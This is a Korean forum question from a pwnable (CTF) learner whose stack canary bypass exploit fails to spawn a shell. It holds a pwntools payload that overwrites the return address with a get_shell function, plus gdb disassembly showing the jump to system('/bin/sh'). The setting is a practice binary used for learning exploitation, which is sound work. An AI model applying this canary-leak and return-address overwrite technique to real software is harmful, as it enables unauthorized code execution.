완료됨
로컬에서 테스트시 질문
master canary를 알아냈고, 3번 메뉴를 이용해서 아래와 같이 shell을 획득하려고 하는데,
stack smashing 으로 죽는건 아닌데, (canary는 통과한듯 합니다.) [*] Got EOF while reading in interactive로 계속 에러가 발생합니다.
뭐가 잘못 된걸 까요?
giveshell = elf.symbols['get_shell']
payload = b"A"*0x28
payload += p64(canary,endian="little")
payload += b"B"*8
payload += p64(giveshell, endian="little")
p.sendafter("Leave comment: ", payload)
gdb상으로 봐도 get_shell로 잘 넘어간 것 같은데, shell 획득이 안 됩니다.
#pwnable
작성자 정보
답변
7
아래와 같이 하였는데, shell을 얻지를 못합니다. ㅠ
gdb 상에서 보니, get_shell 함수로 jump한 뒤 system('/bin/sh')를 실행하면서 stcak을 /bin/sh로 덮지 못하고, 바로 signal 루틴쪽으로 jump합니다.
p.sendline(str(3))
giveshell = elf.symbols['get_shell']
payload = b"A"*0x28
payload += p64(canary,endian="little")
payload += b"B"*8
payload += p64(giveshell, endian="little")
p.sendafter("Leave comment: ", payload)
p.interactive()
0x400a53 다음 instruction에서 signal 방생합니다.
0x400c7d <main+376> ret
↓
0x400a4a <get_shell> push rbp
0x400a4b <get_shell+1> mov rbp, rsp
0x400a4e <get_shell+4> mov edi, 0x400d0d
► 0x400a53 <get_shell+9> call system@plt <system@plt>
command: 0x400d0d ◂— 0x68732f6e69622f /* '/bin/sh' */
0x400a58 <get_shell+14> nop
0x400a59 <get_shell+15> pop rbp
0x400a5a <get_shell+16> ret
0x400a5b <thread_routine> push rbp
0x400a5c <thread_routine+1> mov rbp, rsp```